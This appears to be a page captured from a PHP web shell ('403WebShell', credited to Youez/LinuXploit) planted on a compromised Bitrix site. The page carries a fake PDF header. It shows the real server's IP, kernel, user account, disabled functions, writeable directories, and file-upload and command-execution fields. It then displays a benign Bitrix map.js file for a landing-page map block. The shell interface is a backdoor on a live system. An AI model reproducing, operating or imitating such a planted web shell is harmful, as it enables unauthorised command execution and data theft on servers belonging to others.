%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.145.12.0
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/node/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/node/map.js
;(function() {
	"use strict";

	BX.namespace("BX.Landing");

	var debounce = BX.Landing.Utils.debounce;
	var data = BX.Landing.Utils.data;
	var proxy = BX.Landing.Utils.proxy;
	var onCustomEvent = BX.Landing.Utils.onCustomEvent;
	var encodeDataValue = BX.Landing.Utils.encodeDataValue;


	/**
	 * @extends {BX.Landing.Block.Node}
	 * @param options
	 * @constructor
	 */
	BX.Landing.Block.Node.Map = function(options)
	{
		BX.Landing.Block.Node.apply(this, arguments);
		this.type = "map";
		this.attribute = "data-map";
		this.hidden = true;
		this.map = new BX.Landing.Provider.Map.GoogleMap({
			mapContainer: this.node,
			mapOptions: data(this.node, "data-map"),
			theme: data(this.node, "data-map-theme"),
			roads: data(this.node, "data-map-roads") || [],
			landmarks: data(this.node, "data-map-landmarks") || [],
			labels: data(this.node, "data-map-labels") || [],
			onMapClick: proxy(this.onMapClick, this),
			onChange: debounce(this.onChange, 500, this),
			fullscreenControl: false,
			mapTypeControl: false
		});

		this.lastValue = this.getValue();
		onCustomEvent("BX.Landing.Block:updateStyleWithoutDebounce", this.onBlockUpdateStyles.bind(this));
		onCustomEvent("BX.Landing.Block:Node:updateAttr", this.onBlockUpdateAttrs.bind(this));
	};


	BX.Landing.Block.Node.Map.prototype = {
		constructor: BX.Landing.Block.Node.Map,
		__proto__: BX.Landing.Block.Node.prototype,

		onBlockUpdateAttrs: function(event)
		{
			if (event.node === this.node)
			{
				this.map = new BX.Landing.Provider.Map.GoogleMap({
					mapContainer: this.node,
					mapOptions: data(this.node, "data-map"),
					theme: data(this.node, "data-map-theme"),
					roads: data(this.node, "data-map-roads") || [],
					landmarks: data(this.node, "data-map-landmarks") || [],
					labels: data(this.node, "data-map-labels") || [],
					onMapClick: proxy(this.onMapClick, this),
					onChange: debounce(this.onChange, 500, this),
					fullscreenControl: false,
					mapTypeControl: false
				});

				this.lastValue = this.getValue();
			}
		},

		onBlockUpdateStyles: function(event)
		{
			if (event.block.contains(this.node))
			{
				this.map = new BX.Landing.Provider.Map.GoogleMap({
					mapContainer: this.node,
					mapOptions: data(this.node, "data-map"),
					theme: data(this.node, "data-map-theme"),
					roads: data(this.node, "data-map-roads") || [],
					landmarks: data(this.node, "data-map-landmarks") || [],
					labels: data(this.node, "data-map-labels") || [],
					onMapClick: proxy(this.onMapClick, this),
					onChange: debounce(this.onChange, 500, this),
					fullscreenControl: false,
					mapTypeControl: false
				});

				this.lastValue = this.getValue();
			}
		},

		onMapClick: function(event)
		{
			if (BX.Landing.UI.Panel.StylePanel.getInstance().isShown())
			{
				return;
			}

			this.map.addMarker({
				latLng: event.latLng,
				title: "",
				description: "",
				showByDefault: false,
				draggable: true,
				editable: true
			});

			this.map.onMarkerClick(this.map.markers[this.map.markers.length-1]);
		},

		onChange: function(preventHistory)
		{
			if (this.isChanged())
			{
				if (!preventHistory)
				{
					BX.Landing.History.getInstance().push(
						new BX.Landing.History.Entry({
							block: this.getBlock().id,
							selector: this.selector,
							command: "editEmbed",
							undo: this.lastValue,
							redo: this.getValue()
						})
					);
				}

				this.lastValue = this.getValue();
				this.onChangeHandler(this);
			}
		},

		isChanged: function()
		{
			return JSON.stringify(this.getValue()) !== JSON.stringify(this.lastValue);
		},

		getValue: function()
		{
			return this.map.getValue();
		},

		getAttrValue: function()
		{
			return encodeDataValue(this.getValue());
		},

		setValue: function(value, preventSave, preventHistory)
		{
			this.map.setValue(value, preventHistory);
		},

		getField: function()
		{
			return new BX.Landing.UI.Field.BaseField({
				selector: this.selector,
				hidden: true
			});
		}
	};

})();

Youez - 2016 - github.com/yon3zu
LinuXploit